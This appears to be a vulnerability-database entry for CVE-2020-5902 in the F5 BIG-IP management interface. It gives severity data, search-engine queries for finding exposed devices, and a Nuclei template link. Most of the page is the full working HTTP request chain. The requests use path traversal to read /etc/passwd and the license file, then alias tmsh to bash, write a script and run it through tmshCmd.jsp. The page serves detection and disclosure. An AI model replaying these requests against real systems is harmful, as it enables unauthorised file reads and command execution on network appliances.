| Title | F5 BIG-IP TMUI - Remote Code Execution |
|---|---|
| Author | madrobot,dwisiswant0,ringo |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the necessary security patches or upgrade to a non-vulnerable version of F5 BIG-IP TMUI. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94426 |
| CVE ID | CVE-2020-5902 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"big-ip®-+redirect" +"server" |
| Fofa Query | title="big-ip®-+redirect" +"server" |
| Tags | cve cve2020 bigip rce kev packetstorm f5 vkev vuln |
F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /hsqldb%0a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 62
Accept-Encoding: gzip
command=create%20cli%20alias%20private%20list%20command%20bash
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 87
Accept-Encoding: gzip
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 35
Accept-Encoding: gzip
command=list%20%2Ftmp%2Fnonexistent
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Connection: close
Content-Length: 45
Accept-Encoding: gzip
command=delete%20cli%20alias%20private%20list
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5902.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5902.pcap
N/AN/A